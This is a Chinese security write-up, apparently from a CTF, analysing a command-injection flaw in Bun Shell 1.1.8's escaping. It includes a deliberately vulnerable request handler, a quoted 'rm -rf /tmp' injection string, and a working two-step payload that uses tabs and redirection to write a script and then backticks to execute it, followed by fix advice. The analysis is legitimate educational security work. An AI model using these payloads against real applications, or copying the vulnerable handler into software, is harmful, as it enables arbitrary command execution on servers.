浅谈 Bun 内部shell注入
字数 1121 2025-08-22 12:22:24
Bun Shell 注入漏洞分析与利用
1. Bun 简介
Bun 是一个用于 JavaScript 和 TypeScript 应用程序的多合一工具包,作为一个名为 bun 的可执行文件提供。其核心是 Bun 运行时,这是一个快速的 JavaScript 运行时,旨在替代 Node.js。Bun 是用 Zig 编写的,在后台由 JavaScriptCore 提供支持,大大减少了启动时间和内存使用。
2. Bun Shell 功能
Bun 提供了 shell 命令功能,可以通过模板文本标记执行 shell 命令:
import { $ } from "bun";
await $`echo "Hello World!"`; // Hello World!
2.1 重定向功能
Bun Shell 支持多种重定向操作:
<重定向 STDIN>或1>重定向 stdout2>重定向 stderr&>重定向 stdout 和 stderr>>或1>>重定向 stdout,追加到目标2>>重定向 stderr,追加到目标&>>重定向 stdout 和 stderr,追加到目标1>&2将 stdout 重定向到 stderr2>&1将 stderr 重定向到 stdout
示例
// 重定向到 JavaScript 对象
const buffer = Buffer.alloc(100);
await $`echo "Hello World!" > ${buffer}`;
// 从 JavaScript 对象重定向
const response = new Response("hello i am a response body");
const result = await $`cat < ${response}`.text();
// 重定向 stdin -> 文件
await $`cat < myfile.txt`;
// 重定向 stdout -> 文件
await $`echo bun! > greeting.txt`;
// 重定向 stderr -> 文件
await $`bun run index.ts 2> errors.txt`;
2.2 管道功能
// 基本管道
const result = await $`echo "Hello World!" | wc -w`.text();
// 使用 JavaScript 对象管道
const response = new Response("hello i am a response body");
const result = await $`cat < ${response} | wc -w`.text();
2.3 转义功能
Bun 提供了 $.escape 方法来转义字符串:
console.log($.escape('$(foo) `bar` "baz"'));
// => \$(foo) \`bar\` \"baz\"
// 不转义字符串
await $`echo ${{ raw: '$(foo) `bar` "baz"' }}`;
3. Shell 注入漏洞分析
3.1 漏洞示例
考虑以下易受攻击的代码:
import { $ } from "bun";
const msg = (await req.formData()).get("msg");
const output = await $`echo ${msg}`.text();
return new Response(output);
3.2 默认防护机制
Bun 默认会对输入进行转义,防止 shell 注入:
const foo = "bar123; rm -rf /tmp";
await $`FOO=${foo} bun -e 'console.log(process.env.FOO)'`;
// 输出: bar123; rm -rf /tmp\n
3.3 转义机制缺陷
通过对比 Bun 版本间的转义字符列表变化,发现以下字符未被正确转义:
- const SPECIAL_CHARS = [_]u8{ '$', '>', '&', '|', '=', ';', '\n', '{', '}', ',', '(', ')', '\\', '\"', ' ', '\'' };
+ const SPECIAL_CHARS = [_]u8{ '~', '[', ']', '#', ';', '\n', '*', '{', ',', '}', '`', '$', '=', '(', ')', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '|', '>', '<', '&', '\'', '"', ' ', '\\' };
特别是反引号 `、制表符 \t 和重定向符号 < 未被正确转义。
4. 漏洞利用技术
4.1 Fuzz 测试发现
通过 fuzz 测试发现特殊组合 !!1<2 会创建文件 2 并将 !! 写入其中,这表明 Bun Shell 存在解析错误。
4.2 利用步骤
- 创建恶意文件:
let cmd = "/readflag\tgive\tme\tthe\tflag1<flag.sh";
await $`echo ${cmd}`;
这会创建 flag.sh 文件,内容为 /readflag give me the flag。
- 执行恶意文件:
let cmd = "`sh<flag.sh`";
await $`echo ${cmd}`;
这会执行 flag.sh 中的命令,获取 flag。
5. 漏洞修复建议
- 确保所有可能的 shell 特殊字符都被正确转义
- 对重定向符号
<和>进行严格处理 - 正确处理制表符
\t和反引号` - 实现更严格的命令参数验证
6. 总结
Bun Shell 在 1.1.8 版本中存在重定向解析错误和转义不完整的问题,导致命令注入可能。攻击者可以通过精心构造的输入绕过转义机制,执行任意命令。开发人员应确保及时更新 Bun 版本,并对用户输入进行严格验证。